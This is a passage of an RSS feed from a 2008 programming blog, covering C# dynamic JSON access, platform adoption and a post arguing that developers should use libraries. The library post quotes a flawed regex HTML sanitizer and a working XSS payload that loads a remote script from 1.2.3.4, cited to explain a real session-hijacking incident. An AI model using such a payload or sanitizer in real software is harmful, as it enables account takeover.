21 }&amp;quot;&lt;/span&gt;; &lt;span style="color: blue"&gt;var &lt;/span&gt;stream = &lt;span style="color: blue"&gt;new &lt;/span&gt;&lt;span style="color: #2b91af"&gt;MemoryStream&lt;/span&gt;(&lt;span style="color: #2b91af"&gt;ASCIIEncoding&lt;/span&gt;.Default.GetBytes(json)); &lt;span style="color: blue"&gt;dynamic &lt;/span&gt;person
= &lt;span style="color: #2b91af"&gt;JsonObjectReaderFactory&lt;/span&gt;.CreateJsonObjectReader(stream, &lt;span style="color: #2b91af"&gt;XmlDictionaryReaderQuotas&lt;/span&gt;.Max); &lt;span style="color: #2b91af"&gt;Console&lt;/span&gt;.WriteLine(&lt;span style="color: #a31515"&gt;&amp;quot;{0}
will be {1} next year&amp;quot;&lt;/span&gt;, person.firstName, person.age + 1); &lt;span style="color: #2b91af"&gt;Console&lt;/span&gt;.ReadLine();
} } }&lt;/pre&gt;
&lt;/blockquote&gt; &lt;/blockquote&gt; 
&lt;p&gt;
In the C# 4.0 version I can declare a person object whose class/type I don't have
to define at compile time. Instead the property accesses are converted to dynamic
calls to the named properties using reflection by the compiler. So at runtime when
my [imaginary] JsonObjectReader dynamically creates the person objects from the input
JSON, my application works as expected with a lot less lines of code. 
&lt;/p&gt;
&lt;p&gt;
It's amazing how Python-like C# gets each passing year. 
&lt;/p&gt;
&lt;p&gt;
FURTHER READING: 
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/weblog/2008/01/02/DoesC30BeatDynamicLanguagesAtTheirOwnGame.aspx"&gt;Does
C# 3.0 Beat Dynamic Languages at their Own Game?&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.25hoursaday.com/weblog/2008/06/16/FunctionalProgrammingInC30HowMapReduceFilterCanRockYourWorld.aspx"&gt;Functional
Programming in C# 3.0: How Map/Reduce/Filter can Rock your World&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=e082bfc3-17ef-4e8c-9f89-97d01ce9f072" /&gt;</description>
      <comments>http://www.25hoursaday.com/weblog/CommentView,guid,e082bfc3-17ef-4e8c-9f89-97d01ce9f072.aspx</comments>
      <category>Programming</category>
    </item>
    <item>
      <trackback:ping>http://www.25hoursaday.com/weblog/Trackback.aspx?guid=faa389b5-eada-4376-91ae-6893445de147</trackback:ping>
      <pingback:server>http://www.25hoursaday.com/weblog/pingback.aspx</pingback:server>
      <pingback:target>http://www.25hoursaday.com/weblog/PermaLink,guid,faa389b5-eada-4376-91ae-6893445de147.aspx</pingback:target>
      <dc:creator>Dare Obasanjo</dc:creator>
      <wfw:comment>http://www.25hoursaday.com/weblog/CommentView,guid,faa389b5-eada-4376-91ae-6893445de147.aspx</wfw:comment>
      <wfw:commentRss>http://www.25hoursaday.com/weblog/SyndicationService.asmx/GetEntryCommentsRss?guid=faa389b5-eada-4376-91ae-6893445de147</wfw:commentRss>
      <slash:comments>3</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
I've been thinking a lot about platform adoption recently. I guess it is the combination
of the upcoming <a href="http://www.microsoftpdc.com/">Microsoft PDC</a> and watching
the various moves in the area of social networking platforms like <a href="http://code.google.com/apis/opensocial/">OpenSocial</a> and <a href="http://developers.facebook.com/fbopen/">fbOpen</a>.
One thing that is abundantly clear is that the dynamics that drive platform adoption
are amazingly consistent regardless of whether you are talking about operating system
platforms like Windows' Win32 and *nix's POSIX, cloud computing platforms like Amazon's
EC2 + EBS + S3 and Google App Engine, or even data access APIs like the Flickr API
and Google's GData. 
</p>
        <p>
When a developer adopts a platform, there is a value exchange between the developer
and the software vendor. The more value that is provided to developers by the platform
vendor, the more developers are attracted to the platform. Although this seems self
evident, where providers of platforms go astray is that they often don't understand
the value developers actually want out of software platforms and instead operate from
an <em>if we build it they will come</em> mentality.  
</p>
        <p>
There are three main benefits adoption of one platform over another can offer a developer.
These benefits are captured in the following "laws" of platform adoption   
</p>
        <ol>
          <li>
            <p>
              <u>Developers adopt a platform when it offers differentiation from competitors:</u> In
competitive software markets, building an application that stands out from the crowd
is important. Platforms or technologies that enable developers to provide features
that are unique to the application, even just temporarily, are thus valuable to developers
in such markets. Typically, if these features are truly valuable to end users this
leads to a "keeping up with the Joneses" effect where the majority applications
in that space eventually adopt this platform. Recent examples of this include <a href="http://en.wikipedia.org/wiki/Flash_Video">Flash
video</a>, <a href="http://adaptivepath.com/ideas/essays/archives/000385.php">AJAX</a> and
the <a href="http://www.flickr.com/services/api/">Flickr API</a>. 
</p>
          </li>
          <li>
            <p>
              <u>
                <u>Developers adopt a platform when it </u>reduces the cost of software development:</u> Building
software is a labor intensive, complicated and error prone process <a title="Coding Horror: The Long, Dismal History of Software Project Failure" href="http://www.codinghorror.com/blog/archives/000588.html">which
often results in failure</a>. This makes software development an expensive undertaking.
Platforms which reduce the cost of development are thus very valuable to developers.
Platforms like Java and the .NET Framework reduced the cost of software development
compared to building applications using C and C++. In recent years, platforms based
on dynamic languages such as Ruby On Rails and Django have become increasingly popular
for building Web applications as they offer simpler development options compared to
using "enterprise" platforms like Java. 
</p>
          </li>
          <li>
            <p>
              <u>
                <u>Developers adopt a platform when it </u>provides reach and/or better distribution:</u> Every
platform choice places a limit on which users the developer can reach. Building a
Facebook application limits you to building applications for Facebook users, building
an iPhone application limits you to people running Apple's phone and building an AJAX
application limits you to users of modern browsers who don't have JavaScript disabled.
In all of the aforementioned cases, the reach of the application platform is in the
millions of users. Additionally, in all of the aforementioned cases there are alternative
platforms that developers could choose that do not as many addressable end users and
thus have less reach.  
</p>
            <p>
Distribution is another value add that modern platforms have begun to offer which
augments the reach of the platform. The Facebook platform offers <a href="http://www.insidefacebook.com/2007/10/22/new-data-on-facebook-application-virality/">several
viral distribution mechanisms for applications</a> which enables applications to get
noticed by end users and spread organically among users without explicit action by
the developer. The Apple iPhone has the <a href="http://www.apple.com/iphone/appstore/">App
Store</a> which is the single, well-integrated entry point for users to discover and
purchase applications for the device. Thus even though the iPhone may have users than
other smart phone platforms, targeting the iPhone platform may still be more attractive
than targeting other platforms due to its superior distribution channel for applications
built on its platform.  
</p>
          </li>
        </ol>
        <p>
Sometimes developers adopt platforms due to external effects such as management mandate
or peer pressure but even in these cases the underlying justification is usually one
or more of the benefits above. These laws mean different things for the various participants
in the software ecosystem. 
</p>
        <ul>
          <li>
            <p>
For software vendors, they clarify that delivering a software platform isn't just
about delivering a technology or a set of APIs. The value proposition to developers
with regards to the three laws of adoption must be clearly shown to get developers
to accept the platform. Smart platform vendors should pick one or more of these axes
as the value proposition of their platform and hammer it home. Good examples of these
approaches include how <a title="TechCrunch: OpenSocial Now Reaches 350 Million Users, And Growing" href="http://www.techcrunch.com/2008/08/20/opensocial-now-reaches-350-million-users-and-growing/">Google
has been hammering home the 'reach' benefit of adopting OpenSocial</a> or <a title="The Pragmatic Bookshelf: What's all this fuss about Erlang?" href="http://www.pragmaticprogrammer.com/articles/erlang.html">how
Erlang evangelists have been pitching it as a solution to the multicore crises</a> given
that building concurrent applications is still an expensive endeavor in today's popular
programming languages.  
</p>
          </li>
          <li>
            <p>
For developers, they explain how to evaluate a platform and why some platforms get
traction among their peers while others do not. So if you are a fan of the Common
Lisp or <a href="http://pownce.com/api/">the Pownce API</a>, these laws of platform
adoption explain why developers have flocked to other platforms in their stead. 
</p>
          </li>
        </ul>
        <p>
          <b>Now Playing:</b>
          <a href="http://www.amazon.com/gp/search/ref=sr_adv_m_pop/?search-alias=popular&amp;unfiltered=1&amp;field-keywords=&amp;field-artist=Pink&amp;field-title=&amp;field-label=&amp;field-binding=&amp;sort=relevancerank&amp;Adv-Srch-Music-Album-Submit.x=19&amp;Adv-Srch-Music-Album-Submit.y=6">Pink</a> - <a href="http://www.amazon.com/s/ref=nb_ss_dmusic?url=search-alias%3Ddigital-music&amp;field-keywords=Pink+So What&amp;x=0&amp;y=0">So
What</a></p>
        <img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=faa389b5-eada-4376-91ae-6893445de147" />
      </body>
      <title>The 3 Laws of Platform Adoption: Why Developers Choose Platforms and What it Means to You</title>
      <guid isPermaLink="false">http://www.25hoursaday.com/weblog/PermaLink,guid,faa389b5-eada-4376-91ae-6893445de147.aspx</guid>
      <link>http://www.25hoursaday.com/weblog/2008/09/08/The3LawsOfPlatformAdoptionWhyDevelopersChoosePlatformsAndWhatItMeansToYou.aspx</link>
      <pubDate>Mon, 08 Sep 2008 03:36:38 GMT</pubDate>
      <description>&lt;p&gt;
I've been thinking a lot about platform adoption recently. I guess it is the combination
of the upcoming &lt;a href="http://www.microsoftpdc.com/"&gt;Microsoft PDC&lt;/a&gt; and watching
the various moves in the area of social networking platforms like &lt;a href="http://code.google.com/apis/opensocial/"&gt;OpenSocial&lt;/a&gt; and &lt;a href="http://developers.facebook.com/fbopen/"&gt;fbOpen&lt;/a&gt;.
One thing that is abundantly clear is that the dynamics that drive platform adoption
are amazingly consistent regardless of whether you are talking about operating system
platforms like Windows' Win32 and *nix's POSIX, cloud computing platforms like Amazon's
EC2 + EBS + S3 and Google App Engine, or even data access APIs like the Flickr API
and Google's GData. 
&lt;/p&gt;
&lt;p&gt;
When a developer adopts a platform, there is a value exchange between the developer
and the software vendor. The more value that is provided to developers by the platform
vendor, the more developers are attracted to the platform. Although this seems self
evident, where providers of platforms go astray is that they often don't understand
the value developers actually want out of software platforms and instead operate from
an &lt;em&gt;if we build it they will come&lt;/em&gt; mentality.&amp;#160; 
&lt;/p&gt;
&lt;p&gt;
There are three main benefits adoption of one platform over another can offer a developer.
These benefits are captured in the following &amp;quot;laws&amp;quot; of platform adoption&amp;#160;&amp;#160; 
&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;
&lt;u&gt;Developers adopt a platform when it offers differentiation from competitors:&lt;/u&gt; In
competitive software markets, building an application that stands out from the crowd
is important. Platforms or technologies that enable developers to provide features
that are unique to the application, even just temporarily, are thus valuable to developers
in such markets. Typically, if these features are truly valuable to end users this
leads to a &amp;quot;keeping up with the Joneses&amp;quot; effect where the majority applications
in that space eventually adopt this platform. Recent examples of this include &lt;a href="http://en.wikipedia.org/wiki/Flash_Video"&gt;Flash
video&lt;/a&gt;, &lt;a href="http://adaptivepath.com/ideas/essays/archives/000385.php"&gt;AJAX&lt;/a&gt; and
the &lt;a href="http://www.flickr.com/services/api/"&gt;Flickr API&lt;/a&gt;. 
&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;
&lt;u&gt;&lt;u&gt;Developers adopt a platform when it &lt;/u&gt;reduces the cost of software development:&lt;/u&gt; Building
software is a labor intensive, complicated and error prone process &lt;a title="Coding Horror: The Long, Dismal History of Software Project Failure" href="http://www.codinghorror.com/blog/archives/000588.html"&gt;which
often results in failure&lt;/a&gt;. This makes software development an expensive undertaking.
Platforms which reduce the cost of development are thus very valuable to developers.
Platforms like Java and the .NET Framework reduced the cost of software development
compared to building applications using C and C++. In recent years, platforms based
on dynamic languages such as Ruby On Rails and Django have become increasingly popular
for building Web applications as they offer simpler development options compared to
using &amp;quot;enterprise&amp;quot; platforms like Java. 
&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;
&lt;u&gt;&lt;u&gt;Developers adopt a platform when it &lt;/u&gt;provides reach and/or better distribution:&lt;/u&gt; Every
platform choice places a limit on which users the developer can reach. Building a
Facebook application limits you to building applications for Facebook users, building
an iPhone application limits you to people running Apple's phone and building an AJAX
application limits you to users of modern browsers who don't have JavaScript disabled.
In all of the aforementioned cases, the reach of the application platform is in the
millions of users. Additionally, in all of the aforementioned cases there are alternative
platforms that developers could choose that do not as many addressable end users and
thus have less reach.&amp;#160; 
&lt;/p&gt;
&lt;p&gt;
Distribution is another value add that modern platforms have begun to offer which
augments the reach of the platform. The Facebook platform offers &lt;a href="http://www.insidefacebook.com/2007/10/22/new-data-on-facebook-application-virality/"&gt;several
viral distribution mechanisms for applications&lt;/a&gt; which enables applications to get
noticed by end users and spread organically among users without explicit action by
the developer. The Apple iPhone has the &lt;a href="http://www.apple.com/iphone/appstore/"&gt;App
Store&lt;/a&gt; which is the single, well-integrated entry point for users to discover and
purchase applications for the device. Thus even though the iPhone may have users than
other smart phone platforms, targeting the iPhone platform may still be more attractive
than targeting other platforms due to its superior distribution channel for applications
built on its platform.&amp;#160; 
&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;
Sometimes developers adopt platforms due to external effects such as management mandate
or peer pressure but even in these cases the underlying justification is usually one
or more of the benefits above. These laws mean different things for the various participants
in the software ecosystem. 
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;
For software vendors, they clarify that delivering a software platform isn't just
about delivering a technology or a set of APIs. The value proposition to developers
with regards to the three laws of adoption must be clearly shown to get developers
to accept the platform. Smart platform vendors should pick one or more of these axes
as the value proposition of their platform and hammer it home. Good examples of these
approaches include how &lt;a title="TechCrunch: OpenSocial Now Reaches 350 Million Users, And Growing" href="http://www.techcrunch.com/2008/08/20/opensocial-now-reaches-350-million-users-and-growing/"&gt;Google
has been hammering home the 'reach' benefit of adopting OpenSocial&lt;/a&gt; or &lt;a title="The Pragmatic Bookshelf: What&amp;#39;s all this fuss about Erlang?" href="http://www.pragmaticprogrammer.com/articles/erlang.html"&gt;how
Erlang evangelists have been pitching it as a solution to the multicore crises&lt;/a&gt; given
that building concurrent applications is still an expensive endeavor in today's popular
programming languages.&amp;#160; 
&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;
For developers, they explain how to evaluate a platform and why some platforms get
traction among their peers while others do not. So if you are a fan of the Common
Lisp or &lt;a href="http://pownce.com/api/"&gt;the Pownce API&lt;/a&gt;, these laws of platform
adoption explain why developers have flocked to other platforms in their stead. 
&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;b&gt;Now Playing:&lt;/b&gt; &lt;a href="http://www.amazon.com/gp/search/ref=sr_adv_m_pop/?search-alias=popular&amp;amp;unfiltered=1&amp;amp;field-keywords=&amp;amp;field-artist=Pink&amp;amp;field-title=&amp;amp;field-label=&amp;amp;field-binding=&amp;amp;sort=relevancerank&amp;amp;Adv-Srch-Music-Album-Submit.x=19&amp;amp;Adv-Srch-Music-Album-Submit.y=6"&gt;Pink&lt;/a&gt; - &lt;a href="http://www.amazon.com/s/ref=nb_ss_dmusic?url=search-alias%3Ddigital-music&amp;amp;field-keywords=Pink+So What&amp;amp;x=0&amp;amp;y=0"&gt;So
What&lt;/a&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=faa389b5-eada-4376-91ae-6893445de147" /&gt;</description>
      <comments>http://www.25hoursaday.com/weblog/CommentView,guid,faa389b5-eada-4376-91ae-6893445de147.aspx</comments>
      <category>Platforms</category>
      <category>Programming</category>
    </item>
    <item>
      <trackback:ping>http://www.25hoursaday.com/weblog/Trackback.aspx?guid=2435b2b1-29f5-42e7-933d-773852d466e7</trackback:ping>
      <pingback:server>http://www.25hoursaday.com/weblog/pingback.aspx</pingback:server>
      <pingback:target>http://www.25hoursaday.com/weblog/PermaLink,guid,2435b2b1-29f5-42e7-933d-773852d466e7.aspx</pingback:target>
      <dc:creator>Dare Obasanjo</dc:creator>
      <wfw:comment>http://www.25hoursaday.com/weblog/CommentView,guid,2435b2b1-29f5-42e7-933d-773852d466e7.aspx</wfw:comment>
      <wfw:commentRss>http://www.25hoursaday.com/weblog/SyndicationService.asmx/GetEntryCommentsRss?guid=2435b2b1-29f5-42e7-933d-773852d466e7</wfw:commentRss>
      <slash:comments>6</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
I'm often surprised by how common it is for developers to prefer reinventing the wheel
to using off-the-shelf libraries when solving problems tasks. This practice isn't
limited to newbies who don't know any better but also to experienced developers who
should. Experienced developers often make excuses about not wanting to take unnecessary
dependencies or not trusting the code of others when justifying reinventing the wheel.
For example, take this conversation that flowed through my Twitter stream yesterday 
</p>
        <blockquote>
          <p>
            <a href="http://twitter.com/jongalloway">
              <em>
                <img alt="Jon Galloway" src="http://s3.amazonaws.com/twitter_production/profile_images/48204282/JonFace420px_normal.jpg" />
              </em>
            </a>
            <em>
              <br />
              <strong>
                <a href="http://twitter.com/jongalloway">jongalloway</a>: </strong>@</em>
            <a href="http://twitter.com/codinghorror">
              <em>codinghorror</em>
            </a>
            <em> Oh,
one last thing - I'd rather trust the tough code (memory management, SSL, parsing)
to experts and common libraries. </em>
            <a href="http://twitter.com/jongalloway/statuses/904443180">
              <em>
                <abbr>
about 11 hours
</abbr>
ago</em>
            </a>
            <em> from </em>
            <a href="http://code.google.com/p/wittytwitter/">
              <em>Witty</em>
            </a>
            <em>
            </em>
            <a href="http://twitter.com/codinghorror/statuses/904415232">
              <em>in
reply to codinghorror</em>
            </a>
          </p>
          <p>
            <a href="http://twitter.com/codinghorror">
              <em>
                <img alt="Jeff Atwood" src="http://s3.amazonaws.com/twitter_production/profile_images/58911850/coding-horror-gravatar-128_normal.png" />
              </em>
            </a>
            <br />
            <strong>
              <a href="http://twitter.com/codinghorror">
                <em>codinghorror</em>
              </a>
            </strong>
            <em> @</em>
            <a href="http://twitter.com/jongalloway">
              <em>jongalloway</em>
            </a>
            <em> you're
right, coding is hard. Let's go shopping! </em>
            <a href="http://twitter.com/codinghorror/statuses/904415232">
              <em>
                <abbr>
about 12 hours
</abbr>
ago</em>
            </a>
            <em> from web </em>
            <a href="http://twitter.com/jongalloway/statuses/904403984">
              <em>in
reply to jongalloway</em>
            </a>
          </p>
          <p>
            <a href="http://twitter.com/codinghorror">
              <em>
                <img alt="Jeff Atwood" src="http://s3.amazonaws.com/twitter_production/profile_images/58911850/coding-horror-gravatar-128_normal.png" />
              </em>
            </a>
            <br />
            <strong>
              <a href="http://twitter.com/codinghorror">
                <em>codinghorror</em>
              </a>
            </strong>
            <em> @</em>
            <a href="http://twitter.com/jongalloway">
              <em>jongalloway</em>
            </a>
            <em> I'd
rather make my own mistakes (for things I care about) than blindly inherit other people's
mistakes. YMMV. </em>
            <a href="http://twitter.com/codinghorror/statuses/904412171">
              <em>
                <abbr>
about 12 hours
</abbr>
ago</em>
            </a>
            <em> from web </em>
            <a href="http://twitter.com/jongalloway/statuses/904403984">
              <em>in
reply to jongalloway</em>
            </a>
          </p>
        </blockquote>
        <p>
The background on this conversation is that Jeff Atwood (aka codinghorror) recently
decided to <a href="http://www.codinghorror.com/blog/archives/001101.html">quit his
job and create a new Website called stackoverflow.com</a>. It is a question and answer
site for asking programming questions where users can vote on the best answers to
specific questions. You can think of it as <a href="http://answers.yahoo.com/">Yahoo!
Answers</a> but dedicated to programming questions. You can read a <a href="http://blog.mdemare.info/2008/08/06/stackoverflow-beta-a-review/">review
of the site</a> by Michiel de Mare for more information. 
</p>
        <p>
Recently Jeff Atwood blogged about how he was planning to use regular expressions
to sanitize HTML input on StackOverflow.com in his blog post entitled <a href="http://www.codinghorror.com/blog/archives/001016.html">Regular
Expressions: Now You Have Two Problems</a> where he wrote 
</p>
        <blockquote>
          <p>
            <em>I'd like to illustrate with an actual example, a regular expression I recently
wrote to strip out dangerous HTML from input. This is extracted from </em>
            <a href="http://refactormycode.com/codes/333-sanitize-html">
              <em>the
SanitizeHtml routine</em>
            </a>
            <em> I posted on RefactorMyCode. </em>
          </p>
          <pre>
            <em>var whitelist = @"&lt;/?p&gt;|&lt;br\s?/?&gt;|&lt;/?b&gt;|&lt;/?strong&gt;|&lt;/?i&gt;|&lt;/?em&gt;|
&lt;/?s&gt;|&lt;/?strike&gt;|&lt;/?blockquote&gt;|&lt;/?sub&gt;|&lt;/?super&gt;| &lt;/?h(1|2|3)&gt;|&lt;/?pre&gt;|&lt;hr\s?/?&gt;|&lt;/?code&gt;|&lt;/?ul&gt;|
&lt;/?ol&gt;|&lt;/?li&gt;|&lt;/a&gt;|&lt;a[^&gt;]+&gt;|&lt;img[^&gt;]+/?&gt;"; </em>
          </pre>
          <p>
            <em>What do you see here? The variable name whitelist is a strong hint. One thing
I like about regular expressions is that they generally look like what they're matching.
You see a list of HTML tags, right? Maybe with and without their closing tags?</em>
          </p>
        </blockquote>
        <p>
The problem Jeff was trying to solve is how to allow a subset of HTML tags while stripping
out all other HTML so as to prevent cross site scripting (XSS) attacks. The problem
with Jeff's approach which was pointed out in the comments by many people including <a href="http://simonwillison.net/2007/Mar/12/xss/">Simon
Willison</a> is that using regexes to filter HTML input in this way assumes that you
will get fairly well-formed HTML. The problem with that approach which <em>many developers
have found out the hard way</em> is that you also have to worry about malformed HTML
due to the liberal HTML parsing policies of many modern Web browsers. Thus to use
this approach you have to pretty much reverse engineer every HTML parsing quirk of
common browsers if you don't want to end up storing HTML which looks safe but actually
contains an exploit. Thus to utilize this approach Jeff really should have been looking
at using a full fledged HTML parser such as <a href="http://wiki.developer.mindtouch.com/Community/SgmlReader">SgmlReader</a> or <a href="http://www.crummy.com/software/BeautifulSoup/">Beautiful
Soup</a> instead of regular expressions.
</p>
        <p>
It didn't take long for the users of StackOverflow.com to show Jeff the error of his
ways as evidenced by his post <a href="http://www.codinghorror.com/blog/archives/001167.html">Protecting
Your Cookies: HttpOnly</a> where he acknowledges his mistake as follows 
</p>
        <blockquote>
          <p>
            <em>So I have this friend. I've told him time and time again </em>
            <a href="http://blog.stackoverflow.com/2008/06/safe-html-and-xss/">
              <em>how
dangerous XSS vulnerabilities are</em>
            </a>
            <em>, and how </em>
            <a href="http://en.wikipedia.org/wiki/Cross-site_scripting">
              <em>XSS</em>
            </a>
            <em> is
now <u>the most common of all publicly reported security vulnerabilities</u> -- dwarfing </em>
            <a href="http://www.codinghorror.com/blog/archives/000841.html">
              <em>old
standards</em>
            </a>
            <em> like buffer overruns and SQL injection. But will he listen?
No. He's hard headed. He had to go and write </em>
            <a href="http://refactormycode.com/codes/333-sanitize-html">
              <em>his
own HTML sanitizer</em>
            </a>
            <em>. Because, well, how difficult can it be? How dangerous
could this silly little toy scripting language running inside a browser be? </em>
          </p>
          <p>
            <em>As it turns out, far more dangerous than expected. </em>
            <br />
            <em>…</em>
            <br />
            <em>Imagine, then, the surprise of my friend when he noticed some enterprising users
on his website <u>were logged in as him</u> and happily banging away on the system
with full unfettered administrative privileges. </em>
          </p>
          <p>
            <em>How did this happen? XSS, of course. It all started with this bit of script added
to a user's profile page. </em>
          </p>
          <pre>
            <em>&lt;img src=""http://www.a.com/a.jpg&lt;script type=text/javascript
src="http://1.2.3.4:81/xss.js"&gt;" /&gt;&lt;&lt;img src=""http://www.a.com/a.jpg&lt;/script&gt;" </em>
          </pre>
          <p>
            <em>Through clever construction, the malformed URL just manages to squeak past the
sanitizer. The final rendered code, when viewed in the browser, loads and executes
a script from that remote server.  </em>
          </p>
        </blockquote>
        <p>
The sad thing is that Jeff Atwood isn't the first nor will he be the last programmer
to think to himself "It's just HTML sanitization, how hard can it be?".
There are many lists of <a href="http://blogs.msdn.com/hackers/archive/2007/11/12/first-line-of-defense-for-web-applications-part-4.aspx">Top
HTML Validation Bloopers</a> that show tricky it is to get the right solution to this
seemingly trivial problem. Additionally, it is sad to note that despite his recent
experience, Jeff Atwood still argues that he'd rather make his own mistakes than blindly
inherit the mistakes of others as justification for continuing to reinvent the wheel
in the future. That is unfortunate given that is a bad attitude for a professional
software developer to have. 
</p>
        <p>
Rolling your own solution to a common problem should be the last option on your list
not the first. Otherwise, you might just end up a candidate for <a href="http://thedailywtf.com/">The
Daily WTF</a> and deservedly so.
</p>
        <p>
          <b>Now Playing:</b>
          <a href="http://www.amazon.com/gp/search/ref=sr_adv_m_pop/?search-alias=popular&amp;unfiltered=1&amp;field-keywords=&amp;field-artist=T-Pain&amp;field-title=&amp;field-label=&amp;field-binding=&amp;sort=relevancerank&amp;Adv-Srch-Music-Album-Submit.x=19&amp;Adv-Srch-Music-Album-Submit.y=6">T-Pain</a> - <a href="http://www.amazon.com/s/ref=nb_ss_dmusic?url=search-alias%3Ddigital-music&amp;field-keywords=T-Pain+Cant Believe It (feat. Lil Wayne)&amp;x=0&amp;y=0">Cant
Believe It (feat. Lil Wayne)</a></p>
        <img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=2435b2b1-29f5-42e7-933d-773852d466e7" />
      </body>
      <title>Developers, Using Libraries is not a Sign of Weakness</title>
      <guid isPermaLink="false">http://www.25hoursaday.com/weblog/PermaLink,guid,2435b2b1-29f5-42e7-933d-773852d466e7.aspx</guid>
      <link>http://www.25hoursaday.com/weblog/2008/08/31/DevelopersUsingLibrariesIsNotASignOfWeakness.aspx</link>
      <pubDate>Sun, 31 Aug 2008 13:48:42 GMT</pubDate>
      <description>&lt;p&gt;
I'm often surprised by how common it is for developers to prefer reinventing the wheel
to using off-the-shelf libraries when solving problems tasks. This practice isn't
limited to newbies who don't know any better but also to experienced developers who
should. Experienced developers often make excuses about not wanting to take unnecessary
dependencies or not trusting the code of others when justifying reinventing the wheel.
For example, take this conversation that flowed through my Twitter stream yesterday 
&lt;/p&gt;
&lt;blockquote&gt; 
&lt;p&gt;
&lt;a href="http://twitter.com/jongalloway"&gt;&lt;em&gt;&lt;img alt="Jon Galloway" src="http://s3.amazonaws.com/twitter_production/profile_images/48204282/JonFace420px_normal.jpg" /&gt;&lt;/em&gt;&lt;/a&gt;&lt;em&gt; 
&lt;br /&gt;
&lt;strong&gt;&lt;a href="http://twitter.com/jongalloway"&gt;jongalloway&lt;/a&gt;: &lt;/strong&gt;@&lt;/em&gt;&lt;a href="http://twitter.com/codinghorror"&gt;&lt;em&gt;codinghorror&lt;/em&gt;&lt;/a&gt;&lt;em&gt; Oh,
one last thing - I'd rather trust the tough code (memory management, SSL, parsing)
to experts and common libraries. &lt;/em&gt;&lt;a href="http://twitter.com/jongalloway/statuses/904443180"&gt;&lt;em&gt;
&lt;abbr&gt;
about 11 hours
&lt;/abbr&gt;
ago&lt;/em&gt;&lt;/a&gt;&lt;em&gt; from &lt;/em&gt;&lt;a href="http://code.google.com/p/wittytwitter/"&gt;&lt;em&gt;Witty&lt;/em&gt;&lt;/a&gt;&lt;em&gt; &lt;/em&gt;&lt;a href="http://twitter.com/codinghorror/statuses/904415232"&gt;&lt;em&gt;in
reply to codinghorror&lt;/em&gt;&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;a href="http://twitter.com/codinghorror"&gt;&lt;em&gt;&lt;img alt="Jeff Atwood" src="http://s3.amazonaws.com/twitter_production/profile_images/58911850/coding-horror-gravatar-128_normal.png" /&gt;&lt;/em&gt;&lt;/a&gt; 
&lt;br /&gt;
&lt;strong&gt;&lt;a href="http://twitter.com/codinghorror"&gt;&lt;em&gt;codinghorror&lt;/em&gt;&lt;/a&gt;&lt;/strong&gt;&lt;em&gt; @&lt;/em&gt;&lt;a href="http://twitter.com/jongalloway"&gt;&lt;em&gt;jongalloway&lt;/em&gt;&lt;/a&gt;&lt;em&gt; you're
right, coding is hard. Let's go shopping! &lt;/em&gt;&lt;a href="http://twitter.com/codinghorror/statuses/904415232"&gt;&lt;em&gt;
&lt;abbr&gt;
about 12 hours
&lt;/abbr&gt;
ago&lt;/em&gt;&lt;/a&gt;&lt;em&gt; from web &lt;/em&gt;&lt;a href="http://twitter.com/jongalloway/statuses/904403984"&gt;&lt;em&gt;in
reply to jongalloway&lt;/em&gt;&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;a href="http://twitter.com/codinghorror"&gt;&lt;em&gt;&lt;img alt="Jeff Atwood" src="http://s3.amazonaws.com/twitter_production/profile_images/58911850/coding-horror-gravatar-128_normal.png" /&gt;&lt;/em&gt;&lt;/a&gt; 
&lt;br /&gt;
&lt;strong&gt;&lt;a href="http://twitter.com/codinghorror"&gt;&lt;em&gt;codinghorror&lt;/em&gt;&lt;/a&gt;&lt;/strong&gt;&lt;em&gt; @&lt;/em&gt;&lt;a href="http://twitter.com/jongalloway"&gt;&lt;em&gt;jongalloway&lt;/em&gt;&lt;/a&gt;&lt;em&gt; I'd
rather make my own mistakes (for things I care about) than blindly inherit other people's
mistakes. YMMV. &lt;/em&gt;&lt;a href="http://twitter.com/codinghorror/statuses/904412171"&gt;&lt;em&gt;
&lt;abbr&gt;
about 12 hours
&lt;/abbr&gt;
ago&lt;/em&gt;&lt;/a&gt;&lt;em&gt; from web &lt;/em&gt;&lt;a href="http://twitter.com/jongalloway/statuses/904403984"&gt;&lt;em&gt;in
reply to jongalloway&lt;/em&gt;&lt;/a&gt;
&lt;/p&gt;
&lt;/blockquote&gt; 
&lt;p&gt;
The background on this conversation is that Jeff Atwood (aka codinghorror) recently
decided to &lt;a href="http://www.codinghorror.com/blog/archives/001101.html"&gt;quit his
job and create a new Website called stackoverflow.com&lt;/a&gt;. It is a question and answer
site for asking programming questions where users can vote on the best answers to
specific questions. You can think of it as &lt;a href="http://answers.yahoo.com/"&gt;Yahoo!
Answers&lt;/a&gt; but dedicated to programming questions. You can read a &lt;a href="http://blog.mdemare.info/2008/08/06/stackoverflow-beta-a-review/"&gt;review
of the site&lt;/a&gt; by Michiel de Mare for more information. 
&lt;/p&gt;
&lt;p&gt;
Recently Jeff Atwood blogged about how he was planning to use regular expressions
to sanitize HTML input on StackOverflow.com in his blog post entitled &lt;a href="http://www.codinghorror.com/blog/archives/001016.html"&gt;Regular
Expressions: Now You Have Two Problems&lt;/a&gt; where he wrote 
&lt;/p&gt;
&lt;blockquote&gt; 
&lt;p&gt;
&lt;em&gt;I'd like to illustrate with an actual example, a regular expression I recently
